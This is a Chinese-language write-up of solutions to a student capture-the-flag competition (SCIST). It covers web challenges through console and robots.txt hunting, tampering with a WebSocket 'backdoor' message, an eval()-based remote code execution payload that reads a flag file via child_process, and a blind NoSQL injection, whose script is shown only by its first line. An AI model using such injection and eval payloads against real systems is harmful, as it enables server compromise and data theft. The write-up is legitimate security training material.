SCIST 資安季中賽write up
Welcome
Real welcome:
題目:
此次季中賽 Flag 格式均為:SCIST{.*}
SCIST{Hello_World_From_SCIST}
Flag: SCIST{Hello_World_From_SCIST}
CATCH THE FLAG!
題目:
嗨你好我是 OsGa
預祝各位季中賽順利,我和 Fearnot 去打 EOF 了
記得要乖乖不要壞壞ㄡ
FLAG 被我放在首頁的一個的地方,快去找找看ㄅ
第一段flag放在首頁的console裡
接著去找第二段 看了提示放在robots.txt裡
看到這個頁面
進到
1 | https://mid.ctf.scist.org/cnZjdmN2Y3ZfYWd2Yl9kaV9jem16Cg== |
看到
因為按鈕會一直跑 所以我直接
1 | view-source:https://mid.ctf.scist.org/cnZjdmN2Y3ZfYWd2Yl9kaV9jem16Cg== |
找到第二段flag
Flag: SCIST{c0Ns01E.1O9_w3lc0mE}
Web
Da Vinci Code online 🛜
source:
1 | class GameRoom { |
1 | const WebSocket = require('ws'); |
我發現他傳過去的資料是json的格式且type有個東西叫backdoor,
以及輸入SHOW_ME_THE_ANSWER_PLZ
會給答案,於是開啟我們的好朋友burp
把這個改成
得到正確答案
輸入進去flag出來了
FLAG: SCIST{WC_5c1St_Sc0r3bo4rD_1s5u3}
calculator:
題目:
應該比 Welcome 簡單吧???
好有跟沒有一樣
看source:
1 | import React, { useState, useEffect } from 'react'; |
1 | const express = require('express'); |
發現了eval()這東東
可以執行RCE
payload:
1 | process.mainModule.require('child_process').execSync('cat /flag_3298fh9u32niaergjfwe9ij923.txt').toString() |
Flag: SCIST{TRy_70_dO_5Om3_C@1cU1A7Or}
nosql injection blind2
題目:
跟 lab 的 nosql injection blind 一樣,不過這次的字元更廣!
flag format: SCIST{[\u0001-\uFFFF]+}
看code:
1 | from flask import Flask, request, jsonify, render_template, send_file |
知道是nosql injection後先串最簡單的payload
1 | { |
發現可以Login
但仔細看code發現flag就是password於是要把password炸出來
我的exploit:
1 | import requests |
btw 原本單線程去炸炸了12hr還沒炸出來 用多線程幾分鐘就炸好了XDD
Flag: SCIST{WOW_y0u_4r3_7h3_BLIND}
Misc
Trick or Treat
題目:無
經典的Nim問題 但要先手必勝
我的exploit:
1 | from pwn import * |
Flag: SCIST{trick-or-treat? trick-xor-treat!}